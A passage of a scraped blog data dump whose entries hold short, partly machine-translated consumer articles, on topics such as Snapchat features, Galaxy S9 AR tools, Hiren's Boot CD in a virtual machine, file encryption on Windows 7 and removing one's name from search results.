At distances up to 1km, even air turbulence can cause image distortion problems in an effect similar to heat radiation, creating a 'shimmering' illusion as we often see it. seen in hot days. To solve this problem, it is likely that experts have resorted to a separate neural network capable of rearranging images distorted by environmental factors, thereby obtaining facial data. feasible for identification purposes.\nIn addition, it is not clear exactly how this technology will be implemented. Although originally designed for handheld use, it can also be fitted on unmanned aircraft, even shared with law enforcement agencies.\nExperts are working on it, but experts say it will be a long time before the technology is truly eligible for military use.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjJ%2BYnJ1dp7Kku8anoK2hn6N6tbHCoaWopJ%2Bcxm6vwKdkopyVo8GqsthmppuilZjBtHnUqWStp11mfXF8jKacrZ2iqHqiw8Cy\n","link":"/post/new-face-recognition-technology-can-identify-objects-up-to-1-000-meters-away/","section":"post","tags":null,"title":"New face recognition technology can identify objects up to 1,000 meters away"},{"body":"The spectacle is impressive, and the rattlesnake is lazy to move, 'riding' on the back of a desert turtle thanks to many people being surprised.\nSmart gecko fake dead fool fool escaped spectacular death The civet jumps and pulls the poisonous serpent corpse on the tree to eat meat The small snake desperately took the last breath from the frog's throat Mario El Pachuco, a man recorded a desert turtle moving slowly with rattlesnake on its back in Arizona, USA. This serpent belongs to a poisonous diamond-ring rattlesnake, which lives mainly in the US and Mexico.\nEl Pachuco said that when he started taking pictures, the snake slid down from the turtle shell.\nIt is not uncommon for rattlesnakes and tortoises to live in the same cave. But the sight of them together 'going' like this is really rare.\nncG1vNJzZmismaXArq3KnmWcp51kv6LA06WcrKaRoLJuuMCzsGaqmZm2r7OMrZ%2BappuoerW7jK2mq6yfnsCmv4ybmJyj\n","link":"/post/rattlesnake-lazy-riding-thanks-to-tortoise-s-back/","section":"post","tags":null,"title":"Rattlesnake lazy riding thanks to tortoise's back"},{"body":"New year 2019 is coming, as well as some countries in Southeast Asia, Vietnam also welcomes 2 days of Tet, one is New Year's Day 2019 (Western New Year), two is the traditional Vietnamese New Year or Lunar New Year. At the end of this year, people are often busy to clean up their homes and complete all the work in the old year, welcoming a lucky new year. In the bustling atmosphere of spring, take some time to send to your relatives and friends cards as a new year greeting to them. In order to help readers save time and get the best cards, we would like to send you the best and most meaningful 2019 greeting card collection. This is a spiritual gift that each of us should share and give to friends during this 2019 Tet holiday.\nNew Year of the Year of the Pig is the most beautiful and meaningful greeting card.\nHappy New Year wishes, congratulate the new Year of Rooster 2017                                                               HAPPY NEW YEAR!\nSee more:\nCollection of the best peach blossom flower wallpapers for computers These beautiful glitter Christmas wallpapers for computers ncG1vNJzZmismaXArq3KnmWcp51kwamxjK2crWWYpLmqsMCyZJyZopnAbq3RnmSnp6RiwbB5wZ5kpqGjqLKl\n","link":"/post/the-tet-holiday-cards-are-not-to-be-missed/","section":"post","tags":null,"title":"The Tet Holiday cards are not to be missed"},{"body":"The launch of Samsung's Galaxy S9 and S9 + at Mobile World Congress revolved around the camera and its augmented reality. With AR Emojis, Bixby and ARCore, Galaxy S9 / S9 + provides more original AR software features than any other device. AR is the central element, selected by Samsung to introduce equipment to attendees via AR, using Unpacked application (as expected).\nMr. Erin Willis said at the premiere: \"After all, I am sure you will love this camera. It not only brings beautiful photos, but also makes everything in your life. easier, from shopping to eating, traveling, and with AR, S9's camera will revolutionize the way you work, play and interact with the world around you . \"\nAR Emoji Typical AR features of Galaxy S9 / S9 + are AR Emoji, using the machine learning algorithm to render 3D models dynamically from over 100 user facial expressions and then reflect expressions in real time.\n  In other words, this is a copy of Animoji Apple on iPhone X. However, Samsung has more features and more flexibility in AR Emoji.\nAR Emoji combines Animoji with animated characters imitating users, but AR Emoji also creates cartoon like Bitmoji that can be adjusted and customized. So instead of unicorns and aliens singing \"Redbone\", you can imagine Childish Gambino performing his song. AR Emoji also creates some dynamic reactions that users can share.\n  In addition, AR Emoji will allow users to transform themselves into Disney and Pixar characters such as Mickey Mouse, Minnie Mouse and Incredibles.\n  Moreover, Samsung developed more 'open' AR Emoji than Animoji. Apple restricts Animoji to use only Messages, but iOS 11 allows the screen to be rotated to help users take pictures for use elsewhere. AR Emojis is recorded in AGIF file format, making them shared with third-party applications.\nBixby Samsung, Bixby's artificial intelligence assistant, has learned some new tricks through his computer vision capabilities. For example, Bixby can translate text in real time, like Google Translate.\nHow to translate images, translate words on photos for Android   For calculating calories, Bixby can also recognize the food and calories it provides in the Samsung Health app.\n  Bixby is also involved in cosmetic marketing \"games\", it has a mode called Makeup Mode. Users can try makeup on the front camera and buy products directly through the app. Although this is not the same as the application that Modiface, Perfect Corp. and Meitu provided, but this feature is a great advantage for participating brands such as Sephora, Cover Girl, and Amore Pacific in the US (with Sephora currently in Canada and Amore Pacific in Korea and China).\n  Samsung intends to turn Bixby into an AR shopping platform. For example, according to Samsung's latest information, Bixby can identify products to buy through retailers like Walmart and Sam's Club. Willis said: \"When other companies join our platform, you will have many opportunities to use AR to improve your shopping.\"\nARCore With the official launch of Google on ARCore (and developer preview support), we already know that the previous two generations of the Galaxy handheld and Note will support Android's AR toolkit.\n  So, Galaxy S9 and S9 + get the same support is not to mention. In addition it also received a guarantee from Google VP Clay Bavor. As the leading Android OEM provider of handset revenue, Samsung's extensive support for ARCore is crucial if Google plans to catch up with Apple and ARKit.\nSmartphone AR With all its capabilities, Samsung Galaxy S9 is said to be the AR smartphone. It fits or exceeds everything iPhone X and Google Pixel can do with AR.\nCurrently, there are many ARKit applications, but we hope that developers start moving their AR applications to ARCore as soon as it's official. While the iPhone has CoreML and Pixel (and now the Google Photos app) with Google Lens, Bixby provides a computer vision platform so users can take advantage of AR features directly through the camera app.\nSee more:\n12 super attractive AR apps for Android people 7 best practical interactive apps for Android Top 5 \"best\" AR technology products ncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWVq7KzxdOhoKefXa68tnnCmqVmnJ9itq950pqkrK2enHqorcuar7Jlo256tIWMmqk%3D\n","link":"/post/this-is-everything-you-can-do-in-samsung-galaxy-s9-s9-ar/","section":"post","tags":null,"title":"This is everything you can do in Samsung Galaxy S9 / S9 + AR"},{"body":"For a while, Snapchat was really booming and became extremely popular among smartphone users around the world. So what exactly is Snapchat? What features does this app have? Please refer to the following overview introduction.\nWhat is Snapchat? Snapchat is both a messaging platform and a social network. It cannot be used from the regular web and exists only as a mobile application that you can download to an iOS or Android smartphone.\n  In short, Snapchat is an app that really changes the way people interact with friends compared to other popular social networks like Facebook and Twitter. Not everyone is comfortable using it - especially older ones - but Snapchat is undoubtedly one of the most popular apps for young smartphone users, including teens and teens. youth.\nUsers can chat with friends by sending them photos and short videos, called Snaps, and they only last for up to 10 seconds. You can think of it as texting with photos or videos. Text chat and video calls are two other new features that have recently been added to the application.\nHow is Snapchat different from regular social networks? One of the most unique features about Snapchat is the \"ephemeral\" nature of all content shared on it. Photos and videos will basically disappear after a few seconds from when they are seen by the recipient.\nUnlike other social networks that keep your content online forever unless you decide to delete it, Snapchat's auto-disappearance feature makes online interaction feel more human and a little more grounded at the present time. There is no need to worry about the number of likes or comments you can get after posting a \"perfect\" photo as it will disappear in just a few seconds, and the only interaction you can get back is a photo. , video or chat responses.\n  Additionally Snapchat has another convenient feature that contributes to its popularity - a simple drawing tool. Users can easily draw pictures, paint on photos and insert text on photos before sending. This feature is a highlight for young people who are using this social network as a way to unleash creativity.\nSnapchat Lenses One of the most popular features of Snapchat is Lenses which allows users to add interesting special effects and sounds in real time, change the voice in videos, swap faces with friends, or even is overlay a face from the photo gallery onto your face.\n  Snapchat Stories Another popular feature on this application is Snapchat Stories. Users can compose photos / videos for all their friends to view and publish them as Story. Unlike regular Snaps, Story lasts 24 hours and can be viewed many times. Teenagers often like this feature because it allows sharing photos of their lives in the past 24 hours with all friends. There is also an option to share your story publicly with Our Story. Besides, Snapchat users can also browse stories published by popular brands and celebrities.\nSnapchat Memories Snapchat now allows users to upload photos and saved Snaps from photo albums on their device. Snapchat Memories were created so users can display each other's photos from the app. Users can also search through memories using different keywords associated with photos, such as cats, hug, selfie, etc. Memories can be shared as stories, shared. live with another friend, or by showing them your real life album. Users have the option to hide images imported into Memories by moving them to the \"My eyes only\" folder with password protection.\nSnapchat Discover and Live Stories Snapchat now displays a range of entertainment news and videos on its \"Discover\" feature. Here you have access to articles and videos from their media partners. These small snaps make it easy to stay up to date on your favorite brands.\nUsers can access Snapchat Discover at the bottom right of the screen and browse through the content there. However, the risk for young users is that the content is unfiltered and they may encounter tabloid-style news, or articles.\n  Some other features Group chat\nSnapchat also allows users to send group chats. Can create groups while sending Snap or when creating new chat. When your friends are in Group Chat, their names are displayed at the end of the chat. Users can click on their friend's name to start 1: 1 chat right in the huddle.\nChats sent to a group will be deleted after 24 hours by default. Snaps sent to a group can be opened and played back by each recipient only once. If a Snap is not opened, it is deleted after 24 hours, just like a chat.\nMap Snap\nNew updates from Snapchat include new location sharing. Snap Map allows you to see where your Snapchat contacts are, share your current location and view Snaps from nearby Snapchat users or users at a specific event or location. Location sharing is available to users around the world.\nIn summary, Snapchat is a mobile messaging and social networking application with lots of unique features. Although in Vietnam, Snapchat is not really widespread, but this app is still worth using with your friends because it is completely free and offers extremely interesting experiences that Similar applications do not work.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjo66xr8eaq2anppq%2Ft7XEsGSonl2ou6K8wqGYrQ%3D%3D\n","link":"/post/what-is-snapchat-overview-of-snapchat/","section":"post","tags":null,"title":"What is Snapchat? Overview of Snapchat"},{"body":"We are always aware that wet, fire water creates heat that causes heat. But what makes wet and hot fire? Probably not all of us wonder about this.\nThe answer to this seemingly silly question will be in the article below.\nWhy is water wet?\nBelow is an answer to the question 'why is wet water' posted on the University of California, Santa Barbara (UCSB) website.\nWater is a liquid, which can make other solid materials get wet, but it does not get wet.\nHumidity is the ability of a liquid to attach to a solid surface. When the liquid sticks to the surface of the material, it is wet.\n  A wet or dry object depends on the balance between the adhesive force (two different things stick together) and the binding force (the two things together stick together).\nThe binding force is the gravitational force in a liquid, which causes molecules in the liquid to stick together. The cohesion and surface tension of the object are related. If the force is strong, the molecules in the liquid are very close together, which prevents them from spreading on the surface of an object. Sticky force is the gravitational force between material surface and liquid. If the adhesive force is strong, the liquid will spread to the surface.\nTherefore, the balance between these two forces will determine how wet the surface of the object is.\nIf the bonding force (liquid-liquid) is weaker than the adhesive force (liquid-solid): The material is wet and the fluid is spreading trying to maximize contact with the surface. If the binding force (liquid-liquid) is greater than the adhesive force (liquid-solid): The material will not get wet (dry), the fluid has a tendency to form a spherical droplet, minimizing contact. . Water actually has hydrogen bonding so it has a high binding force. Therefore, compared with some liquids such as acetone or alcohol, the ability to wet the surface of the water is worse. There are even liquids that do not wet the material, such as mercury.\n  When detergent is added, the binding force of the water decreases, making it better at wetting.\nThe above helps us explain why liquid is also, but water, cooking oil, milk . have different wetting levels.\nWhy is fire hot?\n  According to Thoght.co, during the burning process, the chemical bonds are broken down and formed, releasing heat energy. Burning causes oxygen and fuel to turn into carbon dioxide and water. For the reaction to take place it takes energy to break the bond between oxygen atoms and in the fuel. When atoms bind together into carbon dioxide and water, more energy is released.\n  Both light and heat are released as energy and exist as flames. Flames emit from ionized gases and embers emit by material hot enough to emit incandescent light.\nIn short, the energy stored in the fuel is suddenly released causing the fire to heat. The energy released is much more than the energy needed to initiate a chemical reaction.\nScientists have successfully created a \"reverse solar cell\" that generates electricity in the dark What bad thing would happen to Earth if the sea was no longer salty? ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZq%2BRqbKzedaeq2aemaeybrTOrQ%3D%3D\n","link":"/post/why-is-water-wet-fire-hot/","section":"post","tags":null,"title":"Why is water wet, fire hot?"},{"body":"However, due to the impact of the epidemic, Google will extend the support period until January 15, 2022.\nPerhaps realizing that 2022 is not long enough, Google continues to extend Chrome Windows 7 support for another year. This means you can use Chrome on Windows 7 until January 15, 2023.\nCurrently, the Chrome browser supports the following Windows platforms:\nWindows 7, Windows 8, Windows 8.1, Windows 10 or later Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 or Windows Server 2016 Intel Pentium 4 or later processor with SSE3 support   Other Chromium-based browsers also extend Windows 7 support for another year. Mozilla also continued to support Firefox on Windows 7 but did not disclose an end date for support.\nMicrosoft stopped supporting the Home version of Windows 7 on January 14, 2020. Customers in the Business and Enterprise segments can purchase an Extended Security Update (ESU) plan to receive security updates for Windows 7 for an additional 3 years.\nMicrosoft's Microsoft Edge browser will also support Windows 7 until January 15, 2023. Meanwhile, Internet Explorer 11 browser will no longer support all platforms, including Windows 7, from January 15, 2022.\nThe schedule to end support for Windows 7 by both Microsoft, Google and other giants almost coincides with each other. The fact that the companies simultaneously extended support for Windows 7 shows that this operating system still has a lot of users.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpufo8GqutSeqmasn2KyucDEp5tmm5invK6xjJupqK%2Bjmr9uv9Spp6iqpGK8r3nWoqWdp6eoeng%3D\n","link":"/post/google-continues-to-extend-chrome-browser-support-on-windows-7/","section":"post","tags":null,"title":"Google continues to extend Chrome browser support on Windows 7"},{"body":"Hiren's Disk (aka Hiren's Boot CD) has many very useful features such as virus removal, hardware testing, hard disk partitioning, data recovery . so it is very popular.\nHowever, because there are so many features that not every feature you read can be easily used. So Hiren's disk testing on virtual machines (with VMWare, Virtual PC or some other emulator created) before practical application is also a solution that many people care about. In addition, the use of Hiren's Boot CD on virtual machines also helps users to do a lot of different things on the DOS platform such as: testing application programs, running Dos commands, taking photos of applications on Hiren's in processing DOS level for manual use . The problem is: how to use Hiren's disk in virtual machine, because if you start virtual machine with Hiren's disk normally as if used with real machine, it will be reported error and cannot run the application due to The CDROM drive was not recognized, resulting in missing files to run. To solve this problem, you can do the following: Step 1: put Hiren's disk into the drive and configure the BIOS for the virtual machine system to boot with the first CD drive (work on the same virtual machine as on the real machine) or use Hiren's disk to create File * .Iso and give The virtual machine starts with the option of ' Use ISO Image '. Step 2: perform the boot steps for the virtual machine to enter Dos mode from Hiren's disk according to the instruction sequence so that the system 'sees' the CDROM drive. Hiren's menu at first as follows:\n  Select Menu item 9 ( Next ) and then press Enter to go to another Menu.\n  Select Menu # 7 ( Dos . ) then press Enter to go to another menu.\n  Select Menu number 8 ( Dos ) and press Enter to continue. Note that Hiren's will now turn on a small white menu, you have to work quickly on this menu (otherwise Hiren's will choose by default) by scrolling down to the selected item: TSHCDDRV and pressing the Enter key. (In case of failure, you can try again with another option for this step, please try with GCDROM , ATAPICD , .)\n  The next screen will look like this:\n  Next, select Yes and press Enter to request Load UDVD.SYS\n  Next, select Yes and press Enter to request Load EXTCD.SYS\n  Next, select Yes then press the Enter key to request Load ATAPICD.SYS\n  Next, select No and then press the Enter key to not load Load SCSI Driver (simply the majority of CDRom drives use IDE standard so you don't need to load, because if the load will error and wait very long).\n  Next, select Yes and press Enter to Load Standard CDROM Driver\n  Look at the Dos screen, and you will see the CD messages successfully loaded, and you see the CDROM drive. Here you can see that you have succeeded in starting the virtual machine with Hiren's disk. The remaining steps are just how you run the application. To run the applications on Hiren's disk go to Menu by typing M ( Type M for Menu ) and then press Enter. Hiren's menu looks like this:\n  The rest of you is just choosing the application to run. For example: Vnet running Ghost application will look like this:\n    Run the V Comander application\n  Run the Disk Manager application\nAnd many other applications. However, not all applications can run in this mode on the virtual machine (because the hardware simulator does not match). Therefore, when using it, there will be some applications that can run like: Partition Magic, Ram test program, etc. In addition, there are a few slow running steps, so you should wait a little bit patiently.\nWish you success !\nncG1vNJzZmismaXArq3KnmWcp51ktaq%2BxKeqZpqfpMFur8NmnaiqXau2s8DUmqNmpZGYtaq6xKw%3D\n","link":"/post/hiren-s-boot-cd-for-virtual-machines/","section":"post","tags":null,"title":"Hiren's Boot CD for virtual machines"},{"body":" Windows 7 creates an inconvenience for protecting your data by not allowing you to protect individual files with a password natively unlike previous iterations such as Windows XP. Instead the operating system provides workarounds and...\nMethod 1of 3:\nPassword-Protecting a Microsoft Office Document  Enable password-protection for your document. You are able to activate password protection for Word, PowerPoint or Excel documents. This will limit the ability to open the file by requiring a password to be entered. The process may differ slightly depending on which version of Microsoft Office you have. In Microsoft Office 2007, click on the Microsoft Office logo, click on 'Prepare' in the menu, then choose 'Encrypt Document.' In Microsoft Office 2010 and beyond, click on the 'File' tab, then click on 'Info,' click on 'Protect Document' and click on 'encrypt with Password.'[1]   Create a password for your document. In this new window type in a password and then click on 'OK.' Confirm the password by retyping the password then clicking on 'OK.' Save your document to enable the password. To enable both the ability to open a document and edit a document to require a password you will need to create two separate passwords. You can set them to be the same password or use two separate passwords.   Enable password-protection to edit a document. You will need to set a separate password for users who want to make changes to a document. The process differs depending on which version of Microsoft Office you are using. Click on the Microsoft Office logo, click 'Save As,' or if you do not see the icon, click on the 'File' tab then click on 'Save As.' At the bottom of the Save As window, click on 'Tools.' You will see a new menu, click on 'General Options.' Under the file sharing options for the document, you will see 'Password to Modify.' Type in a password, click on 'OK' then confirm the password and click on 'OK.' Save your document to keep the password.[2] This method is not required if you want to just restrict access to opening a file.  Method 2of 3:\nUsing an Encrypting File System to Protect Files  Access the properties of your file. An alternative to protecting a file is to use Microsoft's Encrypting File System (EFS) which embeds a key on the file that restricts access unless that key can be decrypted by your computer. Right click on the file you want to encrypt to bring up a menu. Click on 'Properties' to bring up the Properties window.\n  Enable encryption on your file. Under the 'General' tab, click on 'Advanced' to bring up the Advanced Attributes window. Click on 'Encrypt contents to secure data' to check the box then click on 'OK.'\n  Set the level of encryption of your file. You can choose to encrypt only the file or to encrypt the file and the parent directory.[3] After this, the only way the file can be opened is by decrypting the file with a certificate on your computer. You will only need to open the file to decrypt it. If you are logged in as a different user or you are on a different computer, you will need to export the certificate. If the encryption level is set to encrypt the parent folder as well, you will restrict access to the folder as well.   Open the Certificate Manager to manage your certificate. In order to manage the decryption certificate, you will need to access the certificate manager which is necessary if you want to remove your certificate, create a backup or share it with others. You are not required to create a backup of the certificate, but if the certificate gets lost or damaged you will not have access to your encrypted file.[4] Click on the 'Start' button. In the search box type in \"certmgr.msc\" in the search box then press ↵ Enter to bring up a new window.\n  Activate the Certificate Export Wizard to export your certificate. In the left pane of the \"Certificate Manager,\" double click 'Personal,' click on 'Certificates.' On the right hand side, click on the certificate that lists the Encrypting File Systems under 'Intended Purposes.' On the menu bar, click on Action\u0026gt;All Tasks\u0026gt;Export to bring up the 'Certificate Export Wizard.'\n  Create a backup of your EFS certificate. Follow the instructions given by the wizard. Place a mark on 'Yes, export the private key.' Click 'Personal Information Exchange.' Type in the password you want to use and confirm the password. Your certificate will be exported and you will be prompted to name it. Type in a name for the file and the location (with the whole path) or you can click 'Browse' then navigate to a location, type in a name for the file then click 'Save.' If you want to open the file on a different computer, make sure you have the certificate and the file sent together in order to be able to open the file. You can save the certificate onto removable storage such as a USB drive or other storage media.   Activate the Certificate Import Wizard on another computer. When you are opening a file that is embedded with the EFS key as a different user or on a different computer, you can use the 'Certificate Manager' to import the certificate. To be able to open the file, navigate to the 'Certificate Manager,' click on the 'Personal' folder then on the menu bar click on Action\u0026gt;All Tasks\u0026gt;Import to bring up the 'Certificate Import Wizard.' Follow the instructions on the wizard then locate the certificate on the computer. You will be prompted for the password, select 'Mark this key as Exportable.' Click 'Place all certificates in the following store' and choose 'Personal.'.\n Method 3of 3:\nRestricting Access to a File on a Network  Enable file sharing on your network. As an alternative to password protecting the file itself, you can restrict access to the file to specific users. This will require assigned users to log in with their username and password if they are trying to access the file on your hard disk from a different computer. Navigate to the control panel by clicking on 'Start' then clicking on 'Control Panel.' In the 'Control Panel' window search for 'View network statuses and tasks' and click on the search result. Right click on your active connection type, which can either be your ethernet adapter or wireless adapter, to bring up a menu then choose 'Properties.' In this window make sure the 'Networking' tab is shown and ensure that the 'File and Printer Sharing for Microsoft Networks' has a checkmark next to it then click on 'OK.'[5]\n  Ensure your computer is on the same network type and workgroup. Return to the 'Control Panel' and search for 'Network and Sharing Center' and click on the result. If your computer is not on the same network as other computers, they will not be able to see each other or make a connection. You also need to make sure the workgroup type is the same as any discrepancy will prevent your computer from being able to connect to other computers. Click on the workgroup name to change this setting if it does not match your peers' workgroups.\n  Activate Advanced sharing settings. On the 'Network and Sharing Center' locate 'Change advanced sharing settings' on the left column of the window and click on it. Make sure that both 'Turn on file and printer sharing,' and 'Turn on password protected sharing' are active.\n  Share the file on the network. Right click on the file you want to permit access to. This will bring up a menu. Click on 'Share with…' and choose 'Specific people' Type in the username you wish to grant permission to and click 'Add' then click on 'OK.' Anytime that user attempts to access a shared file they will be prompted to log in with their username and password that is on the workgroup. If a user is not given permission to open the file, they will not be able to see the file on the network.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmZo6jEsL7DZqerp6SasLWxw2adoqSVYryvedaipZ2np6h6eA%3D%3D\n","link":"/post/how-to-create-a-password-protected-file-on-windows-7/","section":"post","tags":null,"title":"How to Create a Password Protected File on Windows 7"},{"body":" As people become more reliant on the Internet, personal information is becoming more easily accessible. If you've typed your name into a popular search engine, you might have been surprised to find more information out there than you...\nPart 1of 7:\nSecuring Your Social Networks  Make your Facebook profile private. Facebook is one of the first things that will appear on a search of your name, so setting your profile private can be very effective. Your changes may take a few days to take effect. Log into your Facebook account and click the ▼ (looks like a upside down triangle) button in the bar at the top. Select \"Settings\" and then click the \"Privacy\" tab on the left. Find the \"Do you want other search engines to link to your timeline?\" option. Click \"Edit\" and then uncheck the box. Find the \"Who can see your future posts?\" option. Click \"Edit\" and make sure it's set to anything other than \"Public\".   Make your Google+ profile private. Chances are that if you have a Gmail or YouTube account, you have a Google+ profile as well. Google+ profiles will appear towards the top of Google search results. Log into your Google+ profile at plus.google.com. Click the \"Home\" menu in the upper-left corner and select \"Settings\". Uncheck the \"Help others discover my profile in search results\" box in the \"Profile\" section. This will stop search engines from crawling your page. It may take several days for this change to take effect.   Make your tweets private. If you use Twitter, you can set your tweets to private. This will prevent others from reading your tweets unless they are authorized by you. This will make it much harder to gain new followers. Log into your Twitter account and click your profile icon. Select \"Settings\" and then click the \"Security and privacy\" tab on the left. Check the \"Protect my Tweets\" box in the \"Privacy\" section. You'll still need to remove your old tweets if you don't want them appearing.   Change your name on social networks. There's a good chance that the people you care about on your social networks know who you are, so changing your name will help hide your profiles from search engines. Change your name to a nickname that your friends and family will recognize you as, but others won't search for. Facebook - You can change your name from the \"General\" section of the Settings menu. Click \"Edit\" next to your name. You can only change your name every 60 days. Google+ - Open your Google+ profile page and click your name. Enter in your new name. This will change your name for all Google products connected with that profile, such as Gmail and YouTube. Twitter - Log into Twitter and open your profile. Click the \"Edit profile\" button and then change the name underneath your picture.  Part 2of 7:\nContacting Site Owners  Perform searches on yourself. You'll be able to attack your problem much easier if you know where to focus your efforts. Perform web searches on your name using a variety of different search engines. Add modifiers like your location to help narrow down the results. Note the top results for each one. Using multiple search engines will help you find everything that's out there, as different engines crawl the web in different ways. Remember, it's not the search engine that is causing your name to appear, it is content on the web.   Find the site's contact information. Many websites will have contact information in the \"Contact\" section, or in the footer of the page. Use this contact information to send a request to the site owner to remove the content with your information. You can use WHOIS, a domain registry database, to attempt to find contact information if none is listed. If the domain was privately registered, your request will be sent to a proxy company, and may or may not be forwarded to the actual owner.   Send a polite message. If something attached to your name is posted on a domain you can't control - for example, a blog post on someone else's blog - a polite, concise email can go a long way. Simply ask them nicely to remove your name from their site. Keep in mind that they are under no obligation to do as you ask; this is why politeness is absolutely crucial to getting them to fulfill your request. You may have heard that it is illegal to publish information about someone that is defamatory or slanderous. In truth, determining whether content is defamatory or slanderous is an extremely nuanced legal matter; additionally, there is a loophole regarding slanderous content online in which website owners are not responsible for user-submitted content For you, this means that again, they are not under any legal obligation to remove said content. Depending on the website, though, sending a polite email request just might get the job done.   Use the Google site removal tool after the content has been taken down. If the site owner cooperates and removes the content, it may still appear in Google's search results. While this will eventually go away, you can speed up the removal process by filing to have that URL removed from the search results. Fill out the form here to have the URL processed for removal.\n  Contact \"people finder\" and \"411\" websites. There are a variety of online directories that may have information about you, including your name, phone number, and address. You'll need to send information removal requests to each of these directory sites. Some of the most popular directory sites include Intelius and Spokeo.[1] You can use services such as Abine's DeleteMe to automatically contact all of these directory sites with removal requests. This will cost you money, but can be much more time-effective if you want to be thorough.  Part 3of 7:\nContacting Hosting Companies  Determine the host. You can use the WHOIS search to find the host of the website. The host has the power to remove pages, especially if they violate the host's terms and policies. Chances are that most hosts don't allow slanderous or defamatory content, and you can use this to remove your information. Contact the host when the site owner isn't responding or is refusing to remove content.\n  Send the request to the host. Send a polite but strong message to the host's contact address. If you can, describe the specific policies that the content you want removed is violating. If the host is trustworthy and your claim is legitimate, this will usually be enough to cause action.\n  Send a DCMA takedown request. If someone is illegally posting your copyrighted content, you can submit a DCMA takedown request to the host. While this won't work for your name or information, since that isn't copyrightable, it can be effective at keeping your work from being spread illegally. Some hosting companies have contact links dedicated to copyright violations, while others will need to have messages sent to the standard contact addresses. See How to Write a DMCA Take Down Request for detailed instructions on how to word and send the request.  Part 4of 7:\nTaking Legal Action  Know when this is necessary. If the site owner and the host are refusing the remove your content, you may have to resort to legal measures. This will be most effective if either the site owner or the hosting company are in the same country as you. Remember, this method will only be useful if the content that is posted is actually illegal (slanderous, defamatory, copyright). It is not illegal for someone to just post your name on a website.   Contact a lawyer to draft an \"intent to sue\" notice. This is the cheapest option, and is often good enough to scare the recipient into taking down the content. You only need a few hours of the lawyer's time to perform this, so it shouldn't cost too much. Send the notice to both the site owner and the hosting company.\n  Get a court order. This is the most expensive solution, and should only be attempted if you are absolutely sure the content is illegal. You'll have to pay legal fees, unless you are able to win your case and have the site owner or host pay them. Consult with a lawyer to determine if this is the correct course of action for you. You'll have a very hard time even getting a court date if the host is from a different country. See How to Get a Court Order for more information on filing a court order.  Part 5of 7:\nImproving Your Search Results  Know when to take this approach. If you just can't get someone to take down negative information about you, the best course of action is to try to bury it in good content. This means you may be actively taking the opposite approach of removing your name, since you'll want lots of results for your name that are positive.\n  Sign up for every major social network. Since the goal of this is to bury a negative piece of content, you'll want to create as much neutral and positive content as possible. This includes social networks, as these are often ranked highly in search results. Sign up for every major social network and make sure your accounts are set to be publicly-viewable. Sign up for Facebook, Google+, Twitter, LinkedIn, Vine, Pinterest, Instagram, and any other popular networks.   Create profiles and post on public forums. Create accounts on sites like Quora, GitHub, Stack Exchange, and other public sites (even wikiHow). All of these will contribute to your search results. Once you've created a profile, make some helpful posts on popular threads to increase the chance that your name will be linked to it in a search result.\n  Register your real name as a domain name. This URL will shoot to the top of any search for your name because it is an exact match. It also helps to include a link to this domain on your public social media profiles. The more a URL is linked to from an outside source, the higher up it will appear in search results.[2] Use this opportunity to market yourself or your business. Include some positive information, especially if you are trying to bury content that doesn't put you in a very good light.   Start a blog. If you really want to make a dent on your search result, a popular blog will go a long way. This will take a lot of time, but is probably the most effective way to bury a bad article or page. You can start a blog for free using Blogger, WordPress, or a variety of other services. Try to post at least once a week to start building up content. See How to Start a Blog for some tips on getting your blog started.   Ask happy customers for positive reviews. If you run a business and are trying to bury a bad review, ask your satisfied customers to consider leaving a review on Yelp or Google+. Enough good reviews could quickly drown out a negative one.\n  Be patient. It may take weeks or months for your content to overtake the negative piece, especially if it is popular. Even if you go with a paid service, it will likely take a significant amount of time for the search result rankings to change.\n Part 6of 7:\nUsing the \"Right to be Forgotten\" (EU)  Visit the search removal page for Europe. If you reside in the European Union, you may have Google review your data and decide if it is eligible to be removed from the search results. To do this, you'll need to fill out a form indicating what results you want removed. Not all requests will be granted, and public information such as criminal convictions, malpractice, and financial scams will likely not be removed. Go to the form page to begin submitting the request.   Fill out the form. You'll need to include your name as well as the name that retrieves the results you want to remove. You'll also need to include specific URLs for search results that you want to get rid of. Each URL you add will need an explanation as to why you think it should be removed (outdated, irrelevant, objectionable, etc.).\n  Include a document that can be used to verify your identity. This doesn't have to be a scan of your passport or ID, but it should have enough information to verify that you are the person making the request.\n  Wait for your request to be approved or denied. If the information is deemed not of public interest, then the results will be removed from Google search results. It may take a while for your request to be reviewed, and even longer for it to be processed.\n Part 7of 7:\nRemoving Personal Identity Information  Know what you can remove from Google. Google doesn't remove much from their search results, but you can file for removing special case information. This includes social security numbers, bank account or credit card numbers, an image of your signature, personal pictures uploaded without your consent, or the name of your business if it was associated with adult spam. Remember, this will not remove the content from the web, and it can still be easily accessed by visiting the site. If you want this content removed, you'll need to contact the site owners.   Visit Google's information removal tool. If you feel that you fall into one of the above categories, you can fill out a form to request that the offending URL be removed from Google's search results. Go to this Google support page to get started.\n  Select \"Remove information you see in Google Search\". You'll be prompted to select whether the page containing the content is still online or not.\n  Select the type of content you want removed. You'll be shown a list of all of the types of content that Google will remove from the search results. Once you select the type of information, a detailed form will appear.\n  Fill out the form. You'll be asked to provide the site URL, as well as your contact information. You'll also need the URL of the search results page that it appears on. Once you have filled out the form, it will be submitted for review.\n  Wait for Google to remove the information. If Google verifies that the site is displaying your personal information without your consent, it will remove that URL from its search results. Note that this will not remove the content from the internet, and it can be easily linked and shared through social networks. If you want the content off the internet, you'll need to go through the site owner, the host, or the legal system.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyypq6qXaOurrGMn6mopV2osqK%2BwqFknqaXnrumvw%3D%3D\n","link":"/post/how-to-delete-your-name-from-search-engines/","section":"post","tags":null,"title":"How to Delete Your Name from Search Engines"},{"body":"Have you ever felt uncomfortable as if someone was watching when you entered the room or walked on the street? This makes you think you are being followed. This feeling of yours may be true when today, stealth cameras or cameras are installed everywhere and more and more.\nOf course, you will wonder how to detect camera sneaking to protect yourself and your privacy. Please refer to the article to find out how to detect the device in this room .\nHow to use iPhone as webcam How to add depth control to iPhone camera images How to hide \"perforated\" camera on Samsung Galaxy S10 series Is someone watching you? Email and phone 